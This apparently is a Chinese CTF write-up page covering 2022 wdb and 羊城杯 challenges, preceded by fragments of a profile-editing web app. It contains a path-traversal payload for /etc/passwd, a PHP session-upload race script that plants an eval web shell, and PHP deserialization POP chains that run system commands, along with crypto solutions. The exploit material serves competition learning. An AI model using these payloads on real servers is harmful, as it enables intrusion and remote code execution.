@2.11.5/dist /umd /popper .min .js "></script > <script src ="./js /bootstrap @5.2.0-beta1 /dist /js /bootstrap .min .js "></script > <script src ="./js /jquery @3.6.0/dist /jquery .min .js "></script > <script > jQuery (function () { $.get ("./api/get.php" , function (data ) { if (data.code === 0 ) { $("#avatar" ).attr ("src" , data.data.avatar); $("#name" ).text (data.data.name); $("#slogan" ).text (data.data.slogan); $("#email" ).attr ("href" , "mailto:" + data.data.email); } else { alert (data.msg); } }, "json" ); }); </script> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 <?php error_reporting (0 );session_start ();?> <html lang="zh-Hans" > <head> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1" > <title>个人资料 - 编辑</title> <link href="./css/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" /> </head> <body> <div class ="container "> <h1 >个人资料 - 编辑</h1 > <form id ="form " action ="javascript :"> <div class ="mb -3"> <label for ="avatar -input " class ="form -label mx -auto d -block text -center "><img id ="avatar " width ="200px " height ="200px " class ="border border -2 rounded -circle " alt ="avatar "></label > <div class ="input -group "> <input type ="file " accept ="image /*" class ="form -control " id ="avatar -input " aria -describedby ="avatar -hint "> </div > <div id ="avatar -hint " class ="form -text ">上传你滴靓照</div > </div > <div class ="mb -3"> <label for ="name -input " class ="form -label ">用户昵称</label > <input type ="text " class ="form -control " id ="name -input " aria -describedby ="name -hint " required > <div id ="name -hint " class ="form -text ">你想叫啥就叫啥</div > </div > <div class ="mb -3"> <label for ="slogan -input " class ="form -label ">个性签名</label > <textarea type ="text " class ="form -control " id ="slogan -input " aria -describedby ="slogan -hint " rows ="3" required ></textarea > <div id ="slogan -hint " class ="form -text "> ok 熊弟萌!全体目光朝向我看齐,看我!看我!我要宣布个事:</div > </div > <div class ="mb -3"> <label for ="email -input " class ="form -label ">邮箱地址</label > <input type ="email " class ="form -control " id ="email -input " aria -describedby ="email -hint " required > <div id ="email -hint " class ="form -text ">请输入形如<code >foo @bar .abc </code >的邮箱地址</div > </div > <div class ="mb -3 form -check "> <input type ="checkbox " class ="form -check -input " id ="accept -input " required > <label class ="form -check -label " for ="accept -input ">我同意<code >夏基尔卞德用户资料保存与使用协议</code ></label > </div > <button type ="submit " class ="btn btn -primary ">保存</button > </form > </div > <script src ="./js /@popperjs /core @2.11.5/dist /umd /popper .min .js "></script > <script src ="./js /bootstrap @5.2.0-beta1 /dist /js /bootstrap .min .js "></script > <script src ="./js /jquery @3.6.0/dist /jquery .min .js "></script > <script > let avatarHash = null ; let avatarBase = null ; $("#avatar -input ").on ("change ", function () { const avatar = this.files[0 ]; const data = new FormData (); data.append ('img' , avatar); $.ajax ({ url: "./api/img2base.php" , data, success: function (data ) { if (data.code === 0 ) { avatarHash = data.data.hash; avatarBase = data.data.base; $("#avatar" ).attr ("src" , data.data.base); } else { alert (data.msg); } }, dataType: "json" , cache: false , contentType: false , processData: false , type: 'post' , }); }); $("#form" ).on ("submit" , function ( ) { const name = $("#name-input" ).val (); const slogan = $("#slogan-input" ).val (); const email = $("#email-input" ).val (); const accept = $("#accept-input" ).prop ("checked" ); console.log (avatar, name, slogan, email, accept); $.post ("./api/save.php" , {avatarHash, avatarBase, name, slogan, email, accept}, function (data ) { if (data.code === 0 ) { location.href = "./" ; } else { alert (data.msg); } }, "json" ); }); jQuery (function ( ) { $.get ("./api/get.php" , function (data ) { if (data.code === 0 ) { $("#avatar" ).attr ("src" , data.data.avatar); $("#name-input" ).val (data.data.name); $("#slogan-input" ).val (data.data.slogan); $("#email-input" ).val (data.data.email); $("#accept-input" ).prop ("checked" , data.data.accept); } else { alert (data.msg); } }, "json" ); }); </script> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 /api/ <?php error_reporting (0 );session_start ();if (isset ($_POST ['avatarHash' ]) && $_POST ['avatarHash' ] != "" ) $_SESSION ['avatar' ] = $_POST ['avatarHash' ];$_SESSION ['name' ] = $_POST ['name' ];$_SESSION ['slogan' ] = $_POST ['slogan' ];$_SESSION ['email' ] = $_POST ['email' ];$_SESSION ['accept' ] = $_POST ['accept' ];die (json_encode (array ('code' => 0 , 'data' => array ())));
2022wdb crypto 091 c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc 通过题目描述查询资料得出前六位 861709xxxxxxx
接着直接对后面7位进行爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import hashlibst = "861709" def hua (): for i in range (11 ): for j in range (11 ): for k in range (11 ): for l in range (11 ): for m in range (11 ): for n in range (11 ): for o in range (11 ): a = f"{st} {i} {j} {k} {l} {m} {n} {o} " s = hashlib.sha256() s.update(a.encode()) res = s.hexdigest() if res =="c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc" : print (f"flag:{a} " ) print (f"hash:{res} " ) return 0 print (res) print (hua())
很快得出:
1 2 3 flag:8617091733716 hash:c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc 0
92 1 2 3 4 5 flag[1 ]*k1*k2*k3*k4*k5%p=45509 flag[2 ]*flag[1 ]*k1*flag[1 ]*k1*k2*flag[1 ]*k1*k2*k3*flag[1 ]*k1*k2*k3*k4*45509 %p=13220 hex (flag[2 ]*flag[1 ]*k1*flag[1 ]*k1*k2*flag[1 ]*k1*k2*k3*flag[1 ]*k1*k2*k3*k4*%p)hex (flag[2 ]*flag[1 ]**5 *k1**5 *k2**4 *k3**3 *k4**2 *k5%p)
WEB …/./…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./etc/passwd
“{"updir":"static/uploads/4b3cf1ffc9224f4d830c5a29db854d15","user":"Guest"}”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 var reader = new FileReader ();reader.readAsDataURL (inputBox.files [0 ]); reader.onload = function ( ){ console .log (this .result ) } var file=document .getElementById ("file" );var reader = new FileReader ();reader.onload =function (e ){ var text=reader.result ; } reader.readAsText (file); fso=new ActiveXObject ("Scripting.FileSystemObject" ); var f=fso.OpenTextFile ("/etc/passwd" ); var str="" ; while (!f.AtEndOfStream ){ var temp=f.ReadLine (); str+=temp[i]; } console .log (str); var reader = new FileReader ();var fileUploader = document .getElementById (“fileUploader”);reader.readAsText (fileUploader.files [0 ],“utf-8 ”); reader.onload = function ( ){undefined data.trim ().split ('\n' ).forEach (function (v, i ){undefined window [‘str' + (i+1)] = v } } console.log(read("/etc/passwd"));
羊城杯2022 web 1-1 rce_me 1 2 3 4 5 6 7 8 9 /bin/su /bin/umount /bin/mount /bin/date /usr/bin/chfn /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/chsh /usr/bin/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport iourl = "http://80.endpoint-04581a9c40334aecbc5427f8e35071f5.dasc.buuoj.cn:81/" sessid = "hua" def write (session ): filebytes = io.BytesIO(b'a' * 1024 * 50 ) data = { 'PHP_SESSION_UPLOAD_PROGRESS' : """ <?php echo "muhua_cmd-------------- "; file_put_contents('/var/www/html/%68%75%61','<?php @eval($_POST[1]);'); echo " -----------------this is end-------------"; ?> """ } print (data) cookies = { 'PHPSESSID' : sessid } files = { 'file' : ('muhua.jpg' , filebytes) } res = session.post(url=url,data=data,cookies=cookies,files=files) if __name__ == "__main__" : with requests.session() as session: for i in range (10000 ): write(session)
同时打开bp发一下包
1 2 3 4 5 6 7 8 9 10 11 GET /?file=/tmp/sess%5fhua&a=§1§ HTTP/1.1 Host: 80.endpoint-04581a9c40334aecbc5427f8e35071f5.dasc.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 123.123.123.123 Pragma: no-cache Cache-Control: no-cache
bp攻击,让它包含一下执行,文件上传
?file=%%2568%2575%2561
然后就可以使用蚁剑连上去了
赛后: 真是那个date报错出的,我真的无语了,然后一开始连不上去,所以得不到报错信息,后来连上去又没试过了 蚁剑连上后,打开交互,直接执行:/bin/date -f /flag
报错即可输出内容
1-2 step_by_step_v3 反序列化,ban的太离谱了,直接执行phpinfo函数,在页面中找到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php error_reporting (0 );class yang { public $y1 ; public function __construct ( ) { $this ->y1->magic (); } public function __tostring ( ) { ($this ->y1)(); } public function hint ( ) { include_once ('hint.php' ); if (isset ($_GET ['file' ])) { $file = $_GET ['file' ]; if (preg_match ("/$hey_mean_then /is" , $file )) { die ("nonono" ); } include_once ($file ); } } } class cheng { public $c1 ; public function __wakeup ( ) { $this ->c1->flag = 'flag' ; } public function __invoke ( ) { $this ->c1->hint (); } } class bei { public $b1 ; public $b2 ; public function __set ($k1 ,$k2 ) { print $this ->b1; } public function __call ($n1 ,$n2 ) { echo $this ->b1; } } if (isset ($_POST ['ans' ])) { unserialize ($_POST ['ans' ]); } else { highlight_file (__FILE__ ); } ?>
简单题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class yang {} class cheng {} class bei {} $a = new cheng ();$a ->c1 = new bei ();$a ->c1->b1 = new yang ();$a ->c1->b1->y1 = "phpinfo" ;echo serialize ($a );
1-6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting (E_ALL);ini_set ('display_errors' , true );highlight_file (__FILE__ );class Fun { private $func = 'call_user_func_array' ; public function __call ($f ,$p ) { call_user_func ($this ->func,$f ,$p ); } public function __wakeup ( ) { $this ->func = '' ; die ("Don't serialize me" ); } } class Test { public function getFlag ( ) { system ("cat /flag?" ); } public function __call ($f ,$p ) { phpinfo (); } public function __wakeup ( ) { echo "serialize me?" ; } } class A { public $a ; public function __get ($p ) { if (preg_match ("/Test/" ,get_class ($this ->a))){ return "No test in Prod\n" ; } return $this ->a->$p (); } } class B { public $p ; public function __destruct ( ) { $p = $this ->p; echo $this ->a->$p ; } } if (isset ($_GET ['pop' ])){ $pop = $_GET ['pop' ]; $o = unserialize ($pop ); throw new Exception ("no pop" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Fun {} class Test {} class A {} class B {} $b = new B ();$a = new A ();$fun = new Fun ();$fun ->func = array (0 =>"Test" ,1 =>"getFlag" );$fun ->p = "noexit" ;$a ->a = $fun ;$b ->a = $a ;$mu = serialize ($a );$mu = preg_replace ('/("Fun":2:)/' ,'"Fun":3:' ,$mu );echo $mu ;?>
对于wakeup中有die的Fun类,构造序列化字符串中描述属性数量大于实际数量绕过wakeup,其中func属性可控,在call_user_func中调用Test类中的getFlag方法,获取flag
crypto ezrsa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from flag import flagfrom Crypto.Util.number import *m = bytes_to_long(flag) e = 65537 f = open ("output.txt" , "r" ) a = f.readlines() for i in a: n = int (i) c = pow (m, e, n) m = c print 'c = %s' % (m)f.close() ''' c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727 '''
确认所有n的两两公因数都相同后写脚本直接出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import gmpy2from libnum import *import binasciif = open ("output.txt" , "r" ) a = f.readlines() p_all = gcd(int (a[1 ]),int (a[2 ])) e = 65537 no = len (a) m = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727 for i in range (len (a)): n = int (a[no-i-1 ]) q = n//p_all d = gmpy2.invert(e,(p_all-1 )*(q-1 )) m = pow (m,d,n) r = binascii.unhexlify(hex (m)[2 :]).decode() print (r)
misc 签个到 rot13加在线解密